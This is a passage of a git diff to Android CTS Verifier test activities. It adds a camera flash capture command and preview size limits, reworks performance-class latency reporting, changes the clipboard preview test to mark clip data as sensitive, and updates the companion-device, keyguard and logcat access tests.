+                } else if ("doCaptureWithFlash".equals(cmdObj.getString("cmdName"))) {
+                    doCaptureWithFlash(cmdObj);
                 } else {
                     throw new ItsException("Unknown command: " + cmd);
                 }
@@ -1031,7 +1036,9 @@
             @Override
             public void onImageAvailable(ImageReader reader) {
                 Image i = reader.acquireNextImage();
-                i.close();
+                if (i != null) {
+                    i.close();
+                }
             }
         };
     }
@@ -1842,6 +1849,8 @@
         // s1440p which is the max supported stream size in a combination, when preview
         // stabilization is on.
         Size maxPreviewSize = new Size(1920, 1440);
+        // QCIF, we test only sizes >= this.
+        Size minPreviewSize = new Size(176, 144);
         Size[] outputSizes = configMap.getOutputSizes(ImageFormat.YUV_420_888);
         if (outputSizes == null) {
             mSocketRunnableObj.sendResponse("supportedPreviewSizes", "");
@@ -1852,6 +1861,8 @@
                 .distinct()
                 .filter(s -> s.getWidth() * s.getHeight()
                         <= maxPreviewSize.getWidth() * maxPreviewSize.getHeight())
+                .filter(s -> s.getWidth() * s.getHeight()
+                        >= minPreviewSize.getWidth() * minPreviewSize.getHeight())
                 .sorted(Comparator.comparingInt(s -> s.getWidth() * s.getHeight()))
                 .map(Size::toString)
                 .collect(Collectors.joining(";"));
@@ -2122,7 +2133,7 @@
         int fileFormat = MediaRecorder.OutputFormat.DEFAULT;
 
         String outputFilePath = getOutputMediaFile(cameraDeviceId, videoSize,
-                /* quality= */"preview", fileFormat, /* stabilized= */ true);
+                /* quality= */"preview", fileFormat, stabilize);
         assert outputFilePath != null;
 
         mMediaRecorder = new MediaRecorder(this);
@@ -2337,6 +2348,104 @@
         return mediaFile + fileExtension;
     }
 
+    private void doCaptureWithFlash(JSONObject params) throws ItsException {
+        // Parse the json to get the capture requests
+        List<CaptureRequest.Builder> previewStartRequests = ItsSerializer.deserializeRequestList(
+            mCamera, params, "previewRequestStart");
+        List<CaptureRequest.Builder> previewIdleRequests = ItsSerializer.deserializeRequestList(
+            mCamera, params, "previewRequestIdle");
+        List<CaptureRequest.Builder> stillCaptureRequests = ItsSerializer.deserializeRequestList(
+            mCamera, params, "stillCaptureRequest");
+
+        mCaptureResults = new CaptureResult[2];
+
+        ThreeAResultListener threeAListener = new ThreeAResultListener();
+        List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
+        SurfaceTexture preview = new SurfaceTexture(/*random int*/ 1);
+        Surface previewSurface = new Surface(preview);
+        try {
+            BlockingSessionCallback sessionListener = new BlockingSessionCallback();
+            try {
+                mCountCapRes.set(0);
+                mCountJpg.set(0);
+                JSONArray jsonOutputSpecs = ItsUtils.getOutputSpecs(params);
+                prepareImageReadersWithOutputSpecs(jsonOutputSpecs, /*inputSize*/null,
+                         /*inputFormat*/0,/*maxInputBuffers*/0,false);
+
+                outputConfigs.add(new OutputConfiguration(mOutputImageReaders[0].getSurface()));
+                outputConfigs.add(new OutputConfiguration(previewSurface));
+                mCamera.createCaptureSessionByOutputConfigurations(
+                        outputConfigs, sessionListener, mCameraHandler);
+                mSession = sessionListener.waitAndGetSession(TIMEOUT_IDLE_MS);
+                ImageReader.OnImageAvailableListener readerListener =
+                        createAvailableListener(mCaptureCallback);
+                mOutputImageReaders[0].setOnImageAvailableListener(readerListener,
+                        mSaveHandlers[0]);
+            } catch (Exception e) {
+                throw new ItsException("Error configuring outputs", e);
+            }
+            CaptureRequest.Builder previewIdleReq = previewIdleRequests.get(0);
+            previewIdleReq.addTarget(previewSurface);
+            mSession.setRepeatingRequest(previewIdleReq.build(), threeAListener, mResultHandler);
+            Logt.i(TAG, "Triggering precapture sequence");
+            mPrecaptureTriggered = false;
+            CaptureRequest.Builder previewStartReq = previewStartRequests.get(0);
+            previewStartReq.addTarget(previewSurface);
+            mSession.capture(previewStartReq.build(), threeAListener ,mResultHandler);
+            mInterlock3A.open();
+            synchronized(m3AStateLock) {
+                mPrecaptureTriggered = false;
+                mConvergeAETriggered = false;
+            }
+            long tstart = System.currentTimeMillis();
+            boolean triggeredAE = false;
+            while (!mPrecaptureTriggered) {
+                if (!mInterlock3A.block(TIMEOUT_3A * 1000) ||
+                        System.currentTimeMillis() - tstart > TIMEOUT_3A * 1000) {
+                    throw new ItsException (
+                        "AE state is " + CaptureResult.CONTROL_AE_STATE_PRECAPTURE +
+                        "after " + TIMEOUT_3A + " seconds.");
+                }
+            }
+            mConvergeAETriggered = false;
+
+            tstart = System.currentTimeMillis();
+            while (!mConvergeAETriggered) {
+                if (!mInterlock3A.block(TIMEOUT_3A * 1000) ||
+                        System.currentTimeMillis() - tstart > TIMEOUT_3A * 1000) {
+                    throw new ItsException (
+                        "3A failed to converge after " + TIMEOUT_3A + " seconds.\n" +
+                        "AE converge state: " + mConvergedAE + ".");
+                }
+            }
+            mInterlock3A.close();
+            Logt.i(TAG, "AE state after precapture sequence: " + mConvergeAETriggered);
+            threeAListener.stop();
+
+            // Send a still capture request
+            CaptureRequest.Builder stillCaptureRequest = stillCaptureRequests.get(0);
+            Logt.i(TAG, "Taking still capture with ON_AUTO_FLASH.");
+            stillCaptureRequest.addTarget(mOutputImageReaders[0].getSurface());
+            mSession.capture(stillCaptureRequest.build(), mCaptureResultListener, mResultHandler);
+            mCountCallbacksRemaining.set(1);
+            long timeout = TIMEOUT_CALLBACK * 1000;
+            waitForCallbacks(timeout);
+            mSession.stopRepeating();
+        } catch (android.hardware.camera2.CameraAccessException e) {
+            throw new ItsException("Access error: ", e);
+        } finally {
+            if (mSession != null) {
+                mSession.close();
+            }
+            if (previewSurface != null) {
+                previewSurface.release();
+            }
+            if (preview != null) {
+                preview.release();
+            }
+        }
+    }
+
     private void doCapture(JSONObject params) throws ItsException {
         try {
             // Parse the JSON to get the list of capture requests.
@@ -2883,7 +2992,14 @@
                                        result.get(CaptureResult.CONTROL_AE_STATE) ==
                                                   CaptureResult.CONTROL_AE_STATE_LOCKED;
                         mLockedAE = result.get(CaptureResult.CONTROL_AE_STATE) ==
-                                               CaptureResult.CONTROL_AE_STATE_LOCKED;
+                                CaptureResult.CONTROL_AE_STATE_LOCKED;
+                        if (!mPrecaptureTriggered) {
+                            mPrecaptureTriggered = result.get(CaptureResult.CONTROL_AE_STATE) ==
+                                    CaptureResult.CONTROL_AE_STATE_PRECAPTURE;
+                        }
+                        if (!mConvergeAETriggered) {
+                            mConvergeAETriggered = mConvergedAE;
+                        }
                     }
                     if (result.get(CaptureResult.CONTROL_AF_STATE) != null) {
                         mConvergedAF = result.get(CaptureResult.CONTROL_AF_STATE) ==
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index d83464b..692538a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -21,9 +21,8 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.res.Configuration;
-import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraManager;
-import android.os.Build;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.os.Bundle;
 import android.text.method.ScrollingMovementMethod;
 import android.util.Log;
@@ -31,6 +30,11 @@
 import android.widget.TextView;
 import android.widget.Toast;
 
+import java.io.BufferedReader;
+import java.io.FileReader;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Comparator;
@@ -39,17 +43,11 @@
 import java.util.Iterator;
 import java.util.List;
 import java.util.Locale;
-import java.util.Map;
 import java.util.Set;
 import java.util.TreeSet;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-import java.io.BufferedReader;
-import java.io.FileReader;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 import com.android.cts.verifier.ArrayTestListAdapter;
@@ -59,6 +57,7 @@
 
 import org.json.JSONArray;
 import org.json.JSONObject;
+import org.junit.rules.TestName;
 
 /**
  * Test for Camera features that require that the camera be aimed at a specific test scene.
@@ -81,12 +80,6 @@
             Arrays.asList(new String[] {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}));
     private static final int MAX_SUMMARY_LEN = 200;
 
-    private static final int MPC12_CAMERA_LAUNCH_THRESHOLD = 600; // ms
-    private static final int MPC12_JPEG_CAPTURE_THRESHOLD = 1000; // ms
-
-    private static final String MPC_TESTS_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
-    private static final String MPC_TESTS_REPORT_LOG_SECTION = "CameraIts";
-
     private static final Pattern MPC12_CAMERA_LAUNCH_PATTERN =
             Pattern.compile("camera_launch_time_ms:(\\d+(\\.\\d+)?)");
     private static final Pattern MPC12_JPEG_CAPTURE_PATTERN =
@@ -95,8 +88,12 @@
     private final ResultReceiver mResultsReceiver = new ResultReceiver();
     private boolean mReceiverRegistered = false;
 
+    public final TestName mTestName = new TestName();
+
     // Initialized in onCreate
     List<String> mToBeTestedCameraIds = null;
+    String mPrimaryRearCameraId = null;
+    String mPrimaryFrontCameraId = null;
 
     // Scenes
     private static final ArrayList<String> mSceneIds = new ArrayList<String> () {{
@@ -132,8 +129,15 @@
     private final HashMap<ResultKey, String> mSummaryMap = new HashMap<>();
     // All primary cameras for which MPC level test has run
     private Set<ResultKey> mExecutedMpcTests = null;
-    // Map primary camera id to MPC level
-    private final HashMap<String, Integer> mMpcLevelMap = new HashMap<>();
+    private static final String MPC_LAUNCH_REQ_NUM = "2.2.7.2/7.5/H-1-6";
+    private static final String MPC_JPEG_CAPTURE_REQ_NUM = "2.2.7.2/7.5/H-1-5";
+    // Performance class evaluator used for writing test result
+    PerformanceClassEvaluator mPce = new PerformanceClassEvaluator(mTestName);
+    PerformanceClassEvaluator.CameraLatencyRequirement mJpegLatencyReq =
+            mPce.addR7_5__H_1_5();
+    PerformanceClassEvaluator.CameraLatencyRequirement mLaunchLatencyReq =
+            mPce.addR7_5__H_1_6();
+
 
     final class ResultKey {
         public final String cameraId;
@@ -266,10 +270,7 @@
                         JSONArray metrics = sceneResult.getJSONArray("mpc_metrics");
                         for (int i = 0; i < metrics.length(); i++) {
                             String mpcResult = metrics.getString(i);
-                            if (!matchMpcResult(cameraId, mpcResult, MPC12_CAMERA_LAUNCH_PATTERN,
-                                    "2.2.7.2/7.5/H-1-6", MPC12_CAMERA_LAUNCH_THRESHOLD) &&
-                                    !matchMpcResult(cameraId, mpcResult, MPC12_JPEG_CAPTURE_PATTERN,
-                                    "2.2.7.2/7.5/H-1-5", MPC12_JPEG_CAPTURE_THRESHOLD)) {
+                            if (!matchMpcResult(cameraId, mpcResult)) {
                                 Log.e(TAG, "Error parsing MPC result string:" + mpcResult);
                                 return;
                             }
@@ -294,17 +295,6 @@
                             summary.toString(), 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
                 }
 
-                //  Save MPC info once both front primary and rear primary data are collected.
-                if (mExecutedMpcTests.size() == 4) {
-                    ItsTestActivity.this.getReportLog().addValue(
-                            "Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
-                    for (Map.Entry<String, Integer> entry : mMpcLevelMap.entrySet()) {
-                        ItsTestActivity.this.getReportLog().addValue(entry.getKey(),
-                                entry.getValue(), ResultType.NEUTRAL, ResultUnit.NONE);
-                    }
-                    ItsTestActivity.this.getReportLog().submit();
-                }
-
                 // Display current progress
                 StringBuilder progress = new StringBuilder();
                 for (ResultKey k : mAllScenes) {
@@ -367,28 +357,44 @@
             }
         }
 
-        private boolean matchMpcResult(String cameraId, String mpcResult, Pattern pattern,
-                String reqNum, float threshold) {
-            Matcher matcher = pattern.matcher(mpcResult);
-            boolean match = matcher.matches();
-            final int LATEST_MPC_LEVEL = Build.VERSION_CODES.TIRAMISU;
+        private boolean matchMpcResult(String cameraId, String mpcResult) {
+            Matcher launchMatcher = MPC12_CAMERA_LAUNCH_PATTERN.matcher(mpcResult);
+            boolean launchMatches = launchMatcher.matches();
 
-            if (match) {
-                // Store test result
-                ItsTestActivity.this.getReportLog().addValue("Cam" + cameraId,
-                        mpcResult, ResultType.NEUTRAL, ResultUnit.NONE);
+            Matcher jpegMatcher = MPC12_JPEG_CAPTURE_PATTERN.matcher(mpcResult);
+            boolean jpegMatches = jpegMatcher.matches();
 
-                float latency = Float.parseFloat(matcher.group(1));
-                int mpcLevel = latency < threshold ? LATEST_MPC_LEVEL : 0;
-                mExecutedMpcTests.add(new ResultKey(cameraId, reqNum));
-
-                if (mMpcLevelMap.containsKey(reqNum)) {
-                    mpcLevel = Math.min(mpcLevel, mMpcLevelMap.get(reqNum));
-                }
-                mMpcLevelMap.put(reqNum, mpcLevel);
+            if (!launchMatches && !jpegMatches) {
+                return false;
+            }
+            if (!cameraId.equals(mPrimaryRearCameraId) &&
+                    !cameraId.equals(mPrimaryFrontCameraId)) {
+                return false;
             }
 
-            return match;
+            if (launchMatches) {
+                float latency = Float.parseFloat(launchMatcher.group(1));
+                if (cameraId.equals(mPrimaryRearCameraId)) {
+                    mLaunchLatencyReq.setRearCameraLatency(latency);
+                } else {
+                    mLaunchLatencyReq.setFrontCameraLatency(latency);
+                }
+                mExecutedMpcTests.add(new ResultKey(cameraId, MPC_LAUNCH_REQ_NUM));
+            } else {
+                float latency = Float.parseFloat(jpegMatcher.group(1));
+                if (cameraId.equals(mPrimaryRearCameraId)) {
+                    mJpegLatencyReq.setRearCameraLatency(latency);
+                } else {
+                    mJpegLatencyReq.setFrontCameraLatency(latency);
+                }
+                mExecutedMpcTests.add(new ResultKey(cameraId, MPC_JPEG_CAPTURE_REQ_NUM));
+            }
+
+            // Save MPC info once both front primary and rear primary data are collected.
+            if (mExecutedMpcTests.size() == 4) {
+                mPce.submit();
+            }
+            return true;
         }
     }
 
@@ -397,8 +403,11 @@
         // Hide the test if all camera devices are legacy
         CameraManager manager = (CameraManager) this.getSystemService(Context.CAMERA_SERVICE);
         try {
-            ItsUtils.ItsCameraIdList cameraIdList = ItsUtils.getItsCompatibleCameraIds(manager);
+            ItsUtils.ItsCameraIdList cameraIdList =
+                    ItsUtils.getItsCompatibleCameraIds(manager);
             mToBeTestedCameraIds = cameraIdList.mCameraIdCombos;
+            mPrimaryRearCameraId = cameraIdList.mPrimaryRearCameraId;
+            mPrimaryFrontCameraId = cameraIdList.mPrimaryFrontCameraId;
         } catch (ItsException e) {
             Toast.makeText(ItsTestActivity.this,
                     "Received error from camera service while checking device capabilities: "
@@ -499,14 +508,4 @@
         setInfoResources(R.string.camera_its_test, R.string.camera_its_test_info, -1);
         setPassFailButtonClickListeners();
     }
-
-    @Override
-    public String getReportFileName() {
-        return MPC_TESTS_REPORT_LOG_NAME;
-    }
-
-    @Override
-    public String getReportSectionName() {
-        return MPC_TESTS_REPORT_LOG_SECTION;
-    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
index c648e8e..734b4a2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
@@ -16,28 +16,24 @@
 
 package com.android.cts.verifier.camera.its;
 
-import android.content.Context;
 import android.graphics.ImageFormat;
 import android.graphics.Rect;
 import android.hardware.camera2.CameraAccessException;
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CameraMetadata;
 import android.hardware.camera2.CaptureRequest;
-import android.hardware.camera2.CaptureResult;
 import android.hardware.camera2.params.MeteringRectangle;
 import android.hardware.camera2.params.StreamConfigurationMap;
 import android.media.Image;
 import android.media.Image.Plane;
-import android.net.Uri;
-import android.os.Environment;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.util.Log;
 import android.util.Size;
 
 import com.android.ex.camera2.blocking.BlockingCameraManager;
-import com.android.ex.camera2.blocking.BlockingCameraManager.BlockingOpenException;
 import com.android.ex.camera2.blocking.BlockingStateCallback;
 
 import org.json.JSONArray;
@@ -322,6 +318,9 @@
         // Camera Id combos (ids from CameraIdList, and hidden physical camera Ids
         // in the form of [logical camera id]:[hidden physical camera id]
         public List<String> mCameraIdCombos;
+        // Primary rear and front camera Ids (as defined in MPC)
+        public String mPrimaryRearCameraId;
+        public String mPrimaryFrontCameraId;
     }
 
     public static ItsCameraIdList getItsCompatibleCameraIds(CameraManager manager)
@@ -345,6 +344,18 @@
                         CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE;
                 final int LOGICAL_MULTI_CAMERA =
                         CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA;
+
+                final Integer facing = characteristics.get(CameraCharacteristics.LENS_FACING);
+                if (facing != null) {
+                    if (facing == CameraMetadata.LENS_FACING_BACK
+                            && outList.mPrimaryRearCameraId == null) {
+                        outList.mPrimaryRearCameraId = id;
+                    } else if (facing == CameraMetadata.LENS_FACING_FRONT
+                            && outList.mPrimaryFrontCameraId == null) {
+                        outList.mPrimaryFrontCameraId = id;
+                    }
+                }
+
                 for (int capability : actualCapabilities) {
                     if (capability == BACKWARD_COMPAT) {
                         haveBC = true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java
index 3587e6f..63b8904 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java
@@ -18,49 +18,22 @@
 
 
 import android.content.ClipData;
+import android.content.ClipDescription;
 import android.content.ClipboardManager;
-import android.graphics.Color;
 import android.os.Bundle;
+import android.os.PersistableBundle;
 import android.view.View;
 import android.widget.Button;
 
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
-import java.util.concurrent.ThreadLocalRandom;
-
 
 /**
- * A CTS Verifier test case for validating the user-visible clipboard preview.
- *
- * This test assumes bluetooth is turned on and the device is already paired with a second device.
- * Note: the second device need not be an Android device; it could be a laptop or desktop.
+ * A CTS Verifier test case for validating the user-visible clipboard confirmation.
  */
 public class ClipboardPreviewTestActivity extends PassFailButtons.Activity {
 
-    /**
-     * The content of the test file being transferred.
-     */
-    private static final String TEST_STRING = "Sample Test String";
-    /**
-     * The name of the test file being transferred.
-     */
-    private final int[] mSecretCode = new int[4];
-    private final int[] mSecretGuess = new int[4];
-    private final int[] mButtons = {
-            R.id.clipboard_preview_test_b0,
-            R.id.clipboard_preview_test_b1,
-            R.id.clipboard_preview_test_b2,
-            R.id.clipboard_preview_test_b3,
-            R.id.clipboard_preview_test_b4,
-            R.id.clipboard_preview_test_b5,
-            R.id.clipboard_preview_test_b6,
-            R.id.clipboard_preview_test_b7,
-            R.id.clipboard_preview_test_b8,
-            R.id.clipboard_preview_test_b9
-    };
-    private int mGuessIndex = 0;
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -74,87 +47,29 @@
         copyButton.setOnClickListener(new View.OnClickListener() {
             @Override
             public void onClick(View v) {
-                generateAndCopySecret();
+                setClipboardData();
             }
         });
-        disableKeypad();
+        disablePassFail();
     }
 
-    private void generateAndCopySecret() {
-        String s = "";
-        resetState();
-        for (int i = 0; i < mSecretCode.length; ++i) {
-            mSecretCode[i] = ThreadLocalRandom.current().nextInt(0, 10);
-            s += mSecretCode[i];
-        }
+    private void setClipboardData() {
         ClipboardManager cm = this.getSystemService(ClipboardManager.class);
-        cm.setPrimaryClip(ClipData.newPlainText("Secret", s));
-        enableKeypad();
+
+        ClipData cd = ClipData.newPlainText("",
+                getString(R.string.clipboard_preview_test_secret));
+        PersistableBundle pb = new PersistableBundle(1);
+        pb.putBoolean(ClipDescription.EXTRA_IS_SENSITIVE, true);
+        cd.getDescription().setExtras(pb);
+        cm.setPrimaryClip(cd);
+        enablePassFail();
     }
 
-    private void enableKeypad() {
-        for (int i = 0; i < mButtons.length; ++i) {
-            Button numButton = findViewById(mButtons[i]);
-            numButton.setBackgroundColor(Color.GREEN);
-            int finalI = i;
-            numButton.setOnClickListener(new View.OnClickListener() {
-                @Override
-                public void onClick(View v) {
-                    buttonClicked(finalI);
-                }
-            });
-        }
-    }
-
-    private void disableKeypad() {
-        for (int i = 0; i < mButtons.length; ++i) {
-            Button numButton = findViewById(mButtons[i]);
-            numButton.setOnClickListener(null);
-            numButton.setBackgroundColor(Color.LTGRAY);
-        }
-    }
-
-    private void resetState() {
-        for (int i = 0; i < mSecretGuess.length; ++i) {
-            mSecretGuess[i] = -1;
-        }
-        mGuessIndex = 0;
-        View v = findViewById(R.id.clipboard_preview_test_pass_fail);
+    private void disablePassFail() {
         findViewById(R.id.clipboard_preview_test_pass_fail).setVisibility(View.INVISIBLE);
-        findViewById(R.id.fail_button).setVisibility(View.VISIBLE);
-        findViewById(R.id.pass_button).setVisibility(View.VISIBLE);
     }
 
-    private void buttonClicked(int i) {
-        if (mGuessIndex < mSecretGuess.length) {
-            mSecretGuess[mGuessIndex] = i;
-            ++mGuessIndex;
-        }
-        checkSolution();
-    }
-
-    private void checkSolution() {
-        boolean testPassed = true;
-        if (mGuessIndex == mSecretGuess.length) {
-            for (int i = 0; i < mSecretGuess.length && i < mSecretCode.length; ++i) {
-                if (mSecretGuess[i] != mSecretCode[i]) {
-                    testPassed = false;
-                }
-            }
-            markPassed(testPassed);
-            disableKeypad();
-        }
-    }
-
-    private void markPassed(boolean passed) {
+    private void enablePassFail() {
         findViewById(R.id.clipboard_preview_test_pass_fail).setVisibility(View.VISIBLE);
-        if (passed) {
-            findViewById(R.id.fail_button).setVisibility(View.INVISIBLE);
-        } else {
-            findViewById(R.id.pass_button).setVisibility(View.INVISIBLE);
-        }
-
     }
-
-
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
index b8b9602..97ec07a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
@@ -118,7 +118,7 @@
 
     /** Stop observing to associated device and then disassociate. */
     private void disassociate(AssociationInfo association) {
-        String deviceAddress = association.getDeviceMacAddressAsString();
+        String deviceAddress = association.getDeviceMacAddress().toString();
         mCompanionDeviceManager.stopObservingDevicePresence(deviceAddress);
         mCompanionDeviceManager.disassociate(association.getId());
         Log.d(LOG_TAG, "Disassociated with device: " + deviceAddress);
@@ -142,11 +142,14 @@
             AssociationInfo association =
                     data.getParcelableExtra(CompanionDeviceManager.EXTRA_ASSOCIATION,
                     AssociationInfo.class);
-            String deviceAddress = association.getDeviceMacAddressAsString();
 
             // This test is for bluetooth devices, which should all have a MAC address.
-            if (deviceAddress == null) fail("The device was present but its address was null.");
+            if (association == null || association.getDeviceMacAddress() == null) {
+                fail("The device was present but its address was null.");
+                return;
+            }
 
+            String deviceAddress = association.getDeviceMacAddress().toString();
             mCompanionDeviceManager.startObservingDevicePresence(deviceAddress);
             mCurrentAssociation = getAssociation(association.getId());
             Log.d(LOG_TAG, "Associated with device: " + deviceAddress);
@@ -285,7 +288,9 @@
         @Override
         boolean verify() {
             // Check that it is associated and being observed.
-            return mCurrentAssociation != null && mCurrentAssociation.isNotifyOnDeviceNearby();
+            // Bypass inaccessible AssociationInfo#isNotifyOnDeviceNearby() with toString()
+            return mCurrentAssociation != null
+                    && mCurrentAssociation.toString().contains("mNotifyOnDeviceNearby=true");
         }
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
index 37760d5..11829c3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
@@ -45,7 +45,7 @@
     @Override
     public void onDeviceAppeared(AssociationInfo association) {
         NEARBY_DEVICES.add(association.getId());
-        String message = "Device appeared: " + association.getDeviceMacAddressAsString();
+        String message = "Device appeared: " + association.getDeviceMacAddress();
         Log.d(LOG_TAG, message);
         Toast.makeText(this, message, Toast.LENGTH_LONG).show();
     }
@@ -53,7 +53,7 @@
     @Override
     public void onDeviceDisappeared(AssociationInfo association) {
         NEARBY_DEVICES.remove(association.getId());
-        String message = "Device disappeared: " + association.getDeviceMacAddressAsString();
+        String message = "Device disappeared: " + association.getDeviceMacAddress();
         Log.d(LOG_TAG, message);
         Toast.makeText(this, message, Toast.LENGTH_LONG).show();
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index f6b179c..eddd930 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -130,6 +130,6 @@
      * Checks whether the device shows keyguard when the user doesn't have credentials.
      */
     public static boolean isKeyguardShownWhenUserDoesntHaveCredentials(Context context) {
-        return !isAutomotive(context);
+        return !isAutomotive(context) && !isWatch(context);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
index ff12bd2..171d612 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
@@ -54,15 +54,18 @@
      */
     private static final String TAG = "ReadLogsTestActivity";
 
-    private static final String PERMISSION = "android.permission.READ_LOGS";
-
-    private static final String ALLOW_LOGD_ACCESS = "Allow logd access";
-    private static final String DENY_LOGD_ACCESS = "Decline logd access";
     private static final String SYSTEM_LOG_START = "--------- beginning of system";
 
     private static final int NUM_OF_LINES_FG = 10;
     private static final int NUM_OF_LINES_BG = 0;
-    private static final int LOG_ACCESS_INTERVAL = 1000 * 60 * 2;
+    private static final int LOG_ACCESS_INTERVAL_MILLIS = 1000 * 60 * 2;
+
+    private static final List<String> LOG_CAT_TEST_COMMAND = Arrays.asList("logcat",
+            "-b", "system",
+            "-v", "uid",
+            "-v", "process",
+            "-t", Integer.toString(NUM_OF_LINES_FG));
+
     private volatile long mLastLogAccess = 0;
 
     private static Context sContext;
@@ -71,11 +74,14 @@
     private static String sAppPackageName;
     private static ExecutorService sExecutorService;
 
+    private static String sLogCatUidFilterRegex;
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
         sContext = this;
+        sLogCatUidFilterRegex = "^[A-Z]{1}\\(\\s" + sContext.getApplicationInfo().uid;
         sActivityManager = sContext.getSystemService(ActivityManager.class);
         sExecutorService = Executors.newSingleThreadExecutor();
 
@@ -114,72 +120,70 @@
     public void runLogcatInForegroundAllowOnlyOnce() {
         Log.d(TAG, "Inside runLogcatInForegroundAllowOnlyOnce()");
 
-        if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL)) {
+        if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL_MILLIS)) {
             String reason = "Please wait for "
-                    + ((mLastLogAccess + LOG_ACCESS_INTERVAL - SystemClock.elapsedRealtime())
+                    + ((mLastLogAccess + LOG_ACCESS_INTERVAL_MILLIS - SystemClock.elapsedRealtime())
                     / 1000) + " seconds before running the test.";
             Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
             return;
         }
 
-        sExecutorService.execute(new Runnable() {
+        sExecutorService.execute(() ->  {
+            BufferedReader reader = null;
+            try {
 
-            public void run() {
-                BufferedReader reader = null;
+                // Dump the logcat most recent 10 lines before the compile command,
+                // and check if there are logs about compiling the test package.
+                Process logcat = new ProcessBuilder(LOG_CAT_TEST_COMMAND).start();
+                reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
+                logcat.waitFor();
+
+                List<String> logcatOutput = new ArrayList<>();
+                String current;
+                Integer lineCount = 0;
+                while ((current = reader.readLine()) != null) {
+                    logcatOutput.add(current);
+                    lineCount++;
+                }
+
+                Log.d(TAG, "Logcat system allow line count: " + lineCount);
+                Log.d(TAG, "Logcat system allow output: " + logcatOutput);
+
                 try {
+                    assertTrue("System log output is null", logcatOutput.size() != 0);
 
-                    // Dump the logcat most recent 10 lines before the compile command,
-                    // and check if there are logs about compiling the test package.
-                    java.lang.Process logcat = new ProcessBuilder(
-                            Arrays.asList("logcat", "-b", "system", "-t",
-                                    Integer.toString(NUM_OF_LINES_FG))).start();
-                    reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
-                    logcat.waitFor();
+                    // Check if the logcatOutput is not null. If logcatOutput is null,
+                    // it throws an assertion error
+                    assertNotNull(logcatOutput.get(0), "logcat output should not be null");
 
-                    List<String> logcatOutput = new ArrayList<>();
-                    String current;
-                    Integer lineCount = 0;
-                    while ((current = reader.readLine()) != null) {
-                        logcatOutput.add(current);
-                        lineCount++;
+                    boolean allowLog = logcatOutput.get(0).contains(SYSTEM_LOG_START);
+                    assertTrue("Allow system log access contains log", allowLog);
+
+                    boolean allowLineCount = lineCount > NUM_OF_LINES_FG;
+                    assertTrue("Allow system log access count", allowLineCount);
+
